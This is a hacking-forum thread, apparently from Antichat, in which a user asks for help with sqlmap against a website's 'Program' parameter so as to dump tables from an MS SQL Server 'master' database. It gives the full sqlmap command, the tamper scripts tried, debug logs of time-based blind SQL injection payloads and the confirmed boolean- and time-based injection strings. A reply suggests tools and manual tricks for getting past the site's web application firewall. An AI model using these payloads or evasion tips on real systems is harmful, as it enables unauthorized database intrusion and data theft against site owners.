ANTICHAT - Показать сообщение отдельно

Цитата:

Сообщение от noj

↑
Привет, посоветовали обратиться к вам. Весь день игрался с sqlmap. Добрался до дб, но вот получить столбцы никак.
Запрос: -u "
https://www.site.com/ParticipationList.asp?Program=TCTS
" --random-agent --risk=1 --level=1 --timeout=10 -D master --tables --threads 10 --hex
Отдает пустые значения, в другой базе из 68 столбцов показало 2: А и 5. Использовал темперы: ifnull2casewhenisnull, between, charunicodeencode и ещё с десяток. Результат на месте.
Подскажет может кто в чем ошибка.

Код:

[20:06:20] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[20:06:20] [PAYLOAD] TCTS' IF(UNICODE(SUBSTRING((SELECT master.dbo.fn_varbintohexstr(CAST(ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) AS VARBINARY(8000))) FROM master..sysobjects WHERE xtype = CHAR(85)),1,1))>48) WAITFOR DELAY '0:0:5'--
[20:06:20] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[20:06:20] [PAYLOAD] TCTS' IF(UNICODE(SUBSTRING((SELECT master.dbo.fn_varbintohexstr(CAST(ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) AS VARBINARY(8000))) FROM master..sysobjects WHERE xtype = CHAR(85)),1,1))>1) WAITFOR DELAY '0:0:5'--
[20:06:21] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[20:06:21] [INFO] retrieved:
[20:06:21] [DEBUG] performed 4 queries in 1.94 seconds
[20:06:21] [WARNING] unable to retrieve the number of tables for database 'master'
[20:06:21] [CRITICAL] unable to retrieve the tables for any database
[20:06:21] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 24 times
[20:06:21] [DEBUG] too many 4xx and/or 5xx HTTP error codes could mean that some kind of protection is involved (e.g. WAF)

тип:

Код:

Parameter: Program (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Program=TCTS' AND 1076=1076 AND 'glgo'='glgo

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: Program=TCTS' WAITFOR DELAY '0:0:5'--

Попробуйте утилиту whatwav. Она определяет тип WAF и тампер(ы), который нужно использовать. Но это не факт. Попробуйте руками. Здесь на борде есть статьи как обходить WAV